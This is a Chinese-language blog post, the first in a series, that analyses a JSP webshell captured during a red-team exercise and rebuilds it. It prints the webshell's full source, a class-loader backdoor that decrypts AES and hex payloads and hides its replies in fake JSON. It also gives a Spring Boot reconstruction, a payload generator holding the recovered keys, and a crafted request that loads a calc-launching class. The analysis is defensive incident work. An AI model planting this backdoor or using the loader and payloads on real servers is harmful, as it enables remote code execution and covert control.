从零开始的内存马分析——如何骑马反杀(一)1

简介: 从零开始的内存马分析——如何骑马反杀(一)

在某次实战攻防中,有一对儿小马和大马,他们两个通过了层层设备,终于打入了内网,只是在砍杀的过程中,露出了马脚,从巨大的流量中,被挖了出来,可是,真的有这么容易吗?真的如我们所愿吗?随着你的越发深入的对木马,流量进行解密,你的心中越发的不安……

前言

在某次实战攻防中,有一对儿小马和大马,他们两个通过了层层设备,终于打入了内网,只是在砍杀的过程中,露出了马脚,从巨大的流量中,被挖了出来,可是,真的有这么容易吗?真的如我们所愿吗?随着你的越发深入的对木马,流量进行解密,你的心中越发的不安……

木马分析

1.1 在线检测

1.2 木马总览

上图是apache解析后产生的java文件和相关的字节码

上图是攻击方上传的木马

1.2 特定报文头

POST /ncupload/config.jsp HTTP/1.1
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 
Content-Length: 208

报文头部,有特定的gzip

1.3 测试类

我们需要一个calc的测试类供我们测试

package com.Test.Basic;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class Echo_Base64 {
    private static String parseByte2HexStr(byte[] buf){
        StringBuffer sb = new StringBuffer();
        for (int i = 0; i < buf.length; i++) {
            String hex = Integer.toHexString(buf[i] & 0xFF);
            if(hex.length() ==1){
                hex = '0' + hex;
            }
            sb.append(hex.toUpperCase());
        }
        return sb.toString();
    }
    public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(ByteCodeEvil.class.getName());
        byte[] code = clazz.toBytecode();
        String bytes = Base64.getEncoder().encodeToString(code);
        System.out.println(parseByte2HexStr(code));
        System.out.println(bytes);
    }
}
package com.Test.Basic;
import java.io.IOException;
public class ByteCodeEvil {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}
package com.Test.Basic;
class Loader extends ClassLoader {
    public Loader(ClassLoader loader) {
        super(loader);
    }
    public Class loadClass(byte[] bytes) {
        return super.defineClass(bytes, 0, bytes.length);
    }
}
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.zip.GZIPInputStream;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
public class AVpayloadGenerator {
    /**
     * 加密
     *
     * @param  需要加密的内容
     * @return
     */
    public static byte[] encrypt2(byte[] byteContent) {
        try {
            SecretKeySpec key = new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES");
            Cipher cipher = Cipher.getInstance("AES");//AES/ECB/NoPadding
           // byte[] byteContent = content.getBytes("utf-8");
            cipher.init(Cipher.ENCRYPT_MODE, key);// 初始化
            byte[] result = cipher.doFinal(byteContent);
            return result; // 加密
        } catch (Exception e){
            e.printStackTrace();
        }
        return null;
    }
/**
 * base64解密,目测是魔改的base
 */
    public static byte[] base64Encode(byte[] bytes) {
        byte[] value = null;
        try {
            Class<?> base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
            value = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
        } catch (Exception exception) {
            try {
                Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                value = ((String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes})).getBytes();
            } catch (Exception exception1) {
            }
        }
        return value;
    }
    public static byte[] base64Decode(byte[] bytes) {
        byte[] value = null;
        try {
            Class<?> base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
        } catch (Exception exception) {
            try {
                Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
            } catch (Exception exception1) {
            }
        }
        return value;
    }
    /**将二进制转换成16进制
     * @param buf
     * @return
     */
    public static String parseByte2HexStr(byte buf[]) {
        StringBuffer sb = new StringBuffer();
        for (int i = 0; i < buf.length; i++) {
            String hex = Integer.toHexString(buf[i] & 0xFF);
            if (hex.length() == 1) {
                hex = '0' + hex;
            }
            sb.append(hex.toUpperCase());
        }
        return sb.toString();
    }
    public static byte[] xor(byte[] data) {
        byte[] key;
        int len;
        int keyLen;
        int index;
        int i;
        for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i <= len; ) {
            index = i - 1;
            data[index] = (byte) (data[index] ^ key[i % keyLen]);
            i++;
        }
        return data;
    }
    public static void ReturnMes(String message){
        byte[] bb = base64Decode(message.getBytes());
        System.out.println(uncompress(xor(bb)));
    }
    public static byte[] uncompress(byte[] bytes) {
        if (bytes == null || bytes.length == 0) {
            return null;
        }
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ByteArrayInputStream in = new ByteArrayInputStream(bytes);
        try {
            GZIPInputStream ungzip = new GZIPInputStream(in);
            byte[] buffer = new byte[256];
            int n;
            while ((n = ungzip.read(buffer)) >= 0) {
                out.write(buffer, 0, n);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return out.toByteArray();
    }
    /*
    * 执行的函数
    * ByteCodeEvil 恶意类,自己构造在同一目录,
    * */
    public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(ByteCodeEvil.class.getName());
        byte[] code = clazz.toBytecode();
        //String aaa="aaa";
        byte buff[];
        buff = encrypt2(code);
       // buff = encrypt2(aaa.getBytes());
        String result;
        result = parseByte2HexStr(buff);
        System.out.println(result);
    }
}

如上脚本自行编写

AVpayloadGenerator.java

是一个逆向脚本,用于我们生成发送流量的报文

1.4 木马危害

该木马本质没有任何危害,疑似冰蝎类

1.5 config.jsp

class Loader extends ClassLoader{
        public Loader(ClassLoader loader){
            super(loader);
        }
        public Class loadClass(byte[] bytes){
            return super.defineClass(bytes,0,bytes.length);
        }
    }
    public static byte[] unHex(byte[] data){int len = data.length;byte[] out = new byte[len / 2];for (int i = 0, j = 0; j < len; i++) {int f =  Character.digit(data[j++], 16) << 4;f |= Character.digit(data[j++], 16);out[i] = (byte)(f & 0xFF);}return out;}public byte[] aes128(byte[] s, int mode){try{javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(mode, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES")); return c.doFinal(s);}catch(Exception e){return null;}}public static byte[] xor(byte[] data){byte[] key=base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes());int len=data.length;int keyLen=key.length;int index=0;for(int i = 1; i <= len; i++){index=i-1;data[index] =(byte)(data[index]^key[(i%keyLen)]); }return data; }public static byte[] base64Encode(byte[] bytes){Class base64;byte[] value = null;try{base64 = Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value =(byte[])Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{ bytes });} catch(Exception e){try{base64 = Class.forName("sun.misc.BASE64Encoder");Object Encoder = base64.newInstance();value =((String)Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{ bytes })).getBytes();} catch(Exception e2){}}return value;}public static byte[] base64Decode(byte[] bytes){Class base64;byte[] value = null;try{base64 = Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value =(byte[])decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{ bytes });} catch(Exception e){try{base64 = Class.forName("sun.misc.BASE64Decoder");Object decoder = base64.newInstance();value =(byte[])decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String( bytes )});} catch(Exception e2){}}return value;}
    try {
            byte[] buffer = new byte[102400];    java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream();    ServletInputStream inputStream = request.getInputStream();    int read = 0;    while ((read = inputStream.read(buffer))>0){        bufferStream.write(buffer,0,read);    }    byte[] requestData = bufferStream.toByteArray();byte[] _requestData = new byte[requestData.length - 112];java.lang.System.arraycopy(requestData,110,_requestData,0,_requestData.length);requestData = _requestData;
        requestData = unHex(requestData);requestData = aes128(requestData, 2);
        Class payloadClass = null;
        if ((payloadClass = (Class) application.getAttribute("inIT"))==null){
            application.setAttribute("inIT",new Loader(getClass().getClassLoader()).loadClass(requestData));
        }else {
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
            Object f = payloadClass.newInstance();
            f.equals(request);
            f.equals(arrOut);
            f.equals(requestData);
            f.toString();
            byte[] responseData = arrOut.toByteArray();
            arrOut.reset();
            responseData = xor(responseData);responseData = base64Encode(responseData);
            arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes()));arrOut.write(responseData);arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes()));responseData = arrOut.toByteArray();response.setStatus(200);response.setHeader("Content-Type","application/json");response.getOutputStream().write(responseData);
        }
    }catch (Throwable e){
    }

由于木马是html实体编码过后的,我们将他进行分段解密

声明变量

存放脚本

1.5.1 实体化解码

https://www.convertstring.com/zh_CN/EncodeDecode/HtmlDecode

1.5.2 代码恢复

我们恢复一下java代码

class Loader extends ClassLoader
{
    public Loader(ClassLoader loader)
    {
        super(loader);
    }
    public Class loadClass(byte[] bytes)
    {
        return super.defineClass(bytes, 0, bytes.length);
    }
}
public static byte[] unHex(byte[] data)
{
    int len = data.length;
    byte[] out = new byte[len / 2];
    for(int i = 0, j = 0; j < len; i++)
    {
        int f = Character.digit(data[j++], 16) << 4;
        f |= Character.digit(data[j++], 16);
        out[i] = (byte)(f & 0xFF);
    }
    return out;
}
public byte[] aes128(byte[] s, int mode)
{
    try
    {
        javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
        c.init(mode, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES"));
        return c.doFinal(s);
    }
    catch(Exception e)
    {
        return null;
    }
}
public static byte[] xor(byte[] data)
{
    byte[] key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes());
    int len = data.length;
    int keyLen = key.length;
    int index = 0;
    for(int i = 1; i <= len; i++)
    {
        index = i - 1;
        data[index] = (byte)(data[index] ^ key[(i % keyLen)]);
    }
    return data;
}
public static byte[] base64Encode(byte[] bytes)
{
    Class base64;
    byte[] value = null;
    try
    {
        base64 = Class.forName("java.util.Base64");
        Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
        value = (byte[]) Encoder.getClass().getMethod("encode", new Class[]
        {
            byte[].class
        }).invoke(Encoder, new Object[]
        {
            bytes
        });
    }
    catch(Exception e)
    {
        try
        {
            base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = base64.newInstance();
            value = ((String) Encoder.getClass().getMethod("encode", new Class[]
            {
                byte[].class
            }).invoke(Encoder, new Object[]
            {
                bytes
            })).getBytes();
        }
        catch(Exception e2)
        {}
    }
    return value;
}
public static byte[] base64Decode(byte[] bytes)
{
    Class base64;
    byte[] value = null;
    try
    {
        base64 = Class.forName("java.util.Base64");
        Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
        value = (byte[]) decoder.getClass().getMethod("decode", new Class[]
        {
            byte[].class
        }).invoke(decoder, new Object[]
        {
            bytes
        });
    }
    catch(Exception e)
    {
        try
        {
            base64 = Class.forName("sun.misc.BASE64Decoder");
            Object decoder = base64.newInstance();
            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]
            {
                String.class
            }).invoke(decoder, new Object[]
            {
                new String(bytes)
            });
        }
        catch(Exception e2)
        {}
    }
    return value;
}
try
{
    byte[] buffer = new byte[102400];
    java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream();
    ServletInputStream inputStream = request.getInputStream();
    int read = 0;
    while((read = inputStream.read(buffer)) > 0)
    {
        bufferStream.write(buffer, 0, read);
    }
    byte[] requestData = bufferStream.toByteArray();
    byte[] _requestData = new byte[requestData.length - 112];
    java.lang.System.arraycopy(requestData, 110, _requestData, 0, _requestData.length);
    requestData = _requestData;
    requestData = unHex(requestData);
    requestData = aes128(requestData, 2);
    Class payloadClass = null;
    if((payloadClass = (Class) application.getAttribute("inIT")) == null)
    {
        application.setAttribute("inIT", new Loader(getClass().getClassLoader()).loadClass(requestData));
    }
    else
    {
        java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
        Object f = payloadClass.newInstance();
        f.equals(request);
        f.equals(arrOut);
        f.equals(requestData);
        f.toString();
        byte[] responseData = arrOut.toByteArray();
        arrOut.reset();
        responseData = xor(responseData);
        responseData = base64Encode(responseData);
        arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes()));
        arrOut.write(responseData);
        arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes()));
        responseData = arrOut.toByteArray();
        response.setStatus(200);
        response.setHeader("Content-Type", "application/json");
        response.getOutputStream().write(responseData);
    }
}
catch(Throwable e)
{}

代码中的该段,伪造json返回数据,模拟正常业务

环境搭建

2.1 springboot 搭建

我们首先搭建在springboot中,将config.class在jd-gui打开,我们模拟打开web页面

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
class Loader extends ClassLoader {
    public Loader(ClassLoader loader) {
        super(loader);
    }
    public Class loadClass(byte[] bytes) {
        return super.defineClass(bytes, 0, bytes.length);
    }
}
@Controller
public class helloController {
    @RequestMapping("/index")
    @ResponseBody
    public String index(){
        return "hello spring boot!";
    }
    private static String parseByte2HexStr(byte[] buf){
        StringBuffer sb = new StringBuffer();
        for (int i = 0; i < buf.length; i++) {
            String hex = Integer.toHexString(buf[i] & 0xFF);
            if(hex.length() ==1){
                hex = '0' + hex;
            }
            sb.append(hex.toUpperCase());
        }
        return sb.toString();
    }
    public static byte[] unHex(byte[] data) {
        int len;
        byte[] out;
        int i;
        int j;
        for (len = data.length, out = new byte[len / 2], i = 0, j = 0; j < len; ) {
            int f = Character.digit(data[j++], 16) << 4;
            f |= Character.digit(data[j++], 16);
            out[i] = (byte) (f & 0xFF);
            i++;
        }
        return out;
    }
    public static byte[] aes128(byte[] s, int mode) {
        try {
            Cipher c = Cipher.getInstance("AES");
            c.init(mode, new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES"));
            return c.doFinal(s);
        } catch (Exception exception) {
            return null;
        }
    }
    public static byte[] xor(byte[] data) {
        byte[] key;
        int len;
        int keyLen;
        int index;
        int i;
        for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i <= len; ) {
            index = i - 1;
            data[index] = (byte) (data[index] ^ key[i % keyLen]);
            i++;
        }
        return data;
    }
    public static byte[] base64Encode(byte[] bytes) {
        byte[] encrypted = null;
        String str;
        try {
            Class<?> base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
            encrypted = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
        } catch (Exception exception) {
            try {
                Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                str = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
                str=str.replace("\n", "").replace("\r", "");
                encrypted=str.getBytes();
            } catch (Exception exception1) {
            }
        }
        return encrypted;
    }
    public static byte[] base64Decode(byte[] bytes) {
        byte[] value = null;
        try {
            Class<?> base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
        } catch (Exception exception) {
            try {
                Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
            } catch (Exception exception1) {
            }
        }
        return value;
    }
    @RequestMapping("/index2")
    public void hh(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
        try {
            byte[] buffer = new byte[102400];
            java.io.ByteArrayOutputStream bufferStream = new  java.io.ByteArrayOutputStream();
            ServletInputStream inputStream = request.getInputStream();
            int read=0;
            while ((read = inputStream.read(buffer)) > 0) {
                bufferStream.write(buffer, 0, read);
            }
            byte[] requestData = bufferStream.toByteArray();
            byte[] _requestData = new byte[requestData.length - 112];
            java.lang.System.arraycopy(requestData, 110, _requestData, 0, _requestData.length);
            requestData = _requestData;
            requestData = unHex(requestData);
            requestData = aes128(requestData, 2);
            Class payloadClass = null;
            //System.out.println(parseByte2HexStr(requestData));
            ServletContext application = request.getSession().getServletContext();
            if ((payloadClass = (Class) application.getAttribute("inIT")) == null) {
                application.setAttribute("inIT", (new Loader(getClass().getClassLoader())).loadClass(requestData));
            } else {
                java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
                Object f = payloadClass.newInstance();
                f.equals(request);
                f.equals(arrOut);
                f.equals(requestData);
                f.toString();
                byte[] responseData = arrOut.toByteArray();
                arrOut.reset();
                responseData = xor(responseData);
                responseData = base64Encode(responseData);
                arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes()));
                arrOut.write(responseData);
                arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes()));
                responseData = arrOut.toByteArray();
                response.setStatus(200);
                response.setHeader("Content-Type", "application/json");
                response.getOutputStream().write(responseData);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这里和源代码有所区别,我们需要补充application

也就是

ServletContext application = request.getSession().getServletContext();

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class helloApplication {
    public static void main(String[] args) {
        SpringApplication.run(helloApplication.class,args);
        System.out.println("hello springboot");
    }
}

这里是springboot的启动页面,对比,我们是可以访问到的,因此我们尝试burp发包,首先对代码进行简单分析

2.1.1 类加载器

首先,有一个类加载器,但是是直接加载字节码。

2.1.2 unhex解码

unhex 16进制解码

2.1.3 aes128解码

aes128解码,mode是2,也就是解码

2.1.4 xor解码

异或数据,生成返回页面的值

众所周知,xor两次的数据是不变的,根据马中的内容,还原出是json的返回包

2.1.5 base64编解码

反射调用的base64加解密

2.1.6 数据分片

(这个分片会在前期和后期都造成很大的一个干扰)

这里的_requestData 在jd-gui中第一次被误以为是内置函数,被删除了,但是根据流量包分析,发包并没有反应,因此后续在大师傅的提醒下,将数据切片补全

我们首先尝试看看,不带_requestData的效果

我们运行Test类,查看生成的字节码hex,和字节码base

hex:CAFEBABE0000003400280A000900180A0019001A08001B0A0019001C07001D07001E0A0006001F0700200700210100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C650100047468697301001D4C636F6D2F546573742F42617369632F42797465436F64654576696C3B0100083C636C696E69743E010001650100154C6A6176612F696F2F494F457863657074696F6E3B01000D537461636B4D61705461626C6507001D01000A536F7572636546696C6501001142797465436F64654576696C2E6A6176610C000A000B0700220C0023002401000863616C632E6578650C002500260100136A6176612F696F2F494F457863657074696F6E01001A6A6176612F6C616E672F52756E74696D65457863657074696F6E0C000A002701001B636F6D2F546573742F42617369632F42797465436F64654576696C0100106A6176612F6C616E672F4F626A6563740100116A6176612F6C616E672F52756E74696D6501000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B010018284C6A6176612F6C616E672F5468726F7761626C653B29560021000800090000000000020001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000005000E0000000C000100000005000F0010000000080011000B0001000C000000660003000100000017B800021203B6000457A7000D4BBB0006592AB70007BFB1000100000009000C00050003000D000000160005000000080009000B000C0009000D000A0016000C000E0000000C0001000D000900120013000000140000000700024C0700150900010016000000020017
base:yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB1MY29tL1Rlc3QvQmFzaWMvQnl0ZUNvZGVFdmlsOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQARQnl0ZUNvZGVFdmlsLmphdmEMAAoACwcAIgwAIwAkAQAIY2FsYy5leGUMACUAJgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAnAQAbY29tL1Rlc3QvQmFzaWMvQnl0ZUNvZGVFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAFAA4AAAAMAAEAAAAFAA8AEAAAAAgAEQALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAIAAkACwAMAAkADQAKABYADAAOAAAADAABAA0ACQASABMAAAAUAAAABwACTAcAFQkAAQAWAAAAAgAX
接收方:流量 ==》 unhex ==》 aes128 ==》字节码导入
发送方:字节码 ==》 aes128 ==》hex ==》流量

我们运行AVpayloadGenerators生成流量

719EBE37D3F3B17195922E849304F1E7BD2DD0BC99103D6B3850FCB3D2DD7CA268DC0AE821D06BBBA3FBAAA6C41F5C2599C346DD8369BEE19703E1F701C0DE79BD66F0F8B1AAE0D0739C445532BBB9E4473EC73D35BC0EDA2CC311B28661D4F6D973DFFA5D6ED4CD524486F7C10BB1DBABB0A6E4AD1022A30C28B4011F8DBA4D4FC1559CDACEE0D6B78B3D2EDC4DEB6CF593F3D782325322A8F87C4FB0D63FC7C1328534174A926233D87AB9B5397071744E1499DD0EEA3C4838F22CAD592A0AC65A3E2CA922B2E5398B8DC89DFC4B0715FED440CFFC8F39C183E954DA92D80B493D0CB0B9E1D12602BFC8CDF16EE81DB57E7949ACBE4C028B6722BEA99804E0A628219641408F0049FE72B3E27DBC192C2C9AABBB70B77CD6F58E9750A823EB12C35D35CF741BA03558FE089EC30A803580860207B672476ED3797CF8850D47590D75D4D702C4D7AB7375189987D9603BC224A3EC9B46131321019CB99A6B559EC22196C7E2D80E4F7EF60E16006C1CD45FDE13392774DBA8DA3D1EFD26E2DC960C6D0758EA0B44FB9DAA4355FA1D2A5E8133F8456101FE4A465A9967345189BCFAD7F7CED591DE5039BFAEFF55C99CCA8EBD58244D3CBD9514E1A25BC483D43423A47653D63D8AD018E94418C0A032A472A8649DF04BF1782AA7AD9902F2C48DC6466390D87693E85B0940CE5C3FE508A8F477BA1C74F557F2B545155EE29727781647FEFF896CF8A4C50D2FDA5223A3AE41819120237000EAE056DFBB7882E96B0A4924642E9EBD65E579A4BA134CC069E94D81A943AFCD12D529FB3D747F0E4497640E4D8BB95466C1F582D85621A255D6643EC0430BC08AA4445E07FBD2FD2524410198D7816601F63A7C1EA2576A08E76F7304B6C0405F4D006B0F166DF8C858BC18AA38B3BE71978BFE1A93C32D99099BF984C4860F04BC09FB0E76FE5BA0B1F25C9C3607E744F60257324EF3A0CC21000232B34BF6F05508C0FF66B738DBB1AD4A784D45AA954E7DB21A63D8

我们给index2发送加密字节码,发送两次之后,弹出计算器,说明字节码加载成功

我们接着开放_requestData

我们发现,不生效了

我们去查看一下,代码对传输的数据进行了分割处理

{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":""}

我们查看流量包中,对方使用这个json进行模拟正常业务进行传递数据

POST /index2 HTTP/1.1
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 127.0.0.1:8080
Content-Length: 1552
{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"719EBE37D3F3B17195922E849304F1E7BD2DD0BC99103D6B3850FCB3D2DD7CA268DC0AE821D06BBBA3FBAAA6C41F5C2599C346DD8369BEE19703E1F701C0DE79BD66F0F8B1AAE0D0739C445532BBB9E4473EC73D35BC0EDA2CC311B28661D4F6D973DFFA5D6ED4CD524486F7C10BB1DBABB0A6E4AD1022A30C28B4011F8DBA4D4FC1559CDACEE0D6B78B3D2EDC4DEB6CF593F3D782325322A8F87C4FB0D63FC7C1328534174A926233D87AB9B5397071744E1499DD0EEA3C4838F22CAD592A0AC65A3E2CA922B2E5398B8DC89DFC4B0715FED440CFFC8F39C183E954DA92D80B493D0CB0B9E1D12602BFC8CDF16EE81DB57E7949ACBE4C028B6722BEA99804E0A628219641408F0049FE72B3E27DBC192C2C9AABBB70B77CD6F58E9750A823EB12C35D35CF741BA03558FE089EC30A803580860207B672476ED3797CF8850D47590D75D4D702C4D7AB7375189987D9603BC224A3EC9B46131321019CB99A6B559EC22196C7E2D80E4F7EF60E16006C1CD45FDE13392774DBA8DA3D1EFD26E2DC960C6D0758EA0B44FB9DAA4355FA1D2A5E8133F8456101FE4A465A9967345189BCFAD7F7CED591DE5039BFAEFF55C99CCA8EBD58244D3CBD9514E1A25BC483D43423A47653D63D8AD018E94418C0A032A472A8649DF04BF1782AA7AD9902F2C48DC6466390D87693E85B0940CE5C3FE508A8F477BA1C74F557F2B545155EE29727781647FEFF896CF8A4C50D2FDA5223A3AE41819120237000EAE056DFBB7882E96B0A4924642E9EBD65E579A4BA134CC069E94D81A943AFCD12D529FB3D747F0E4497640E4D8BB95466C1F582D85621A255D6643EC0430BC08AA4445E07FBD2FD2524410198D7816601F63A7C1EA2576A08E76F7304B6C0405F4D006B0F166DF8C858BC18AA38B3BE71978BFE1A93C32D99099BF984C4860F04BC09FB0E76FE5BA0B1F25C9C3607E744F60257324EF3A0CC21000232B34BF6F05508C0FF66B738DBB1AD4A784D45AA954E7DB21A63D8"}

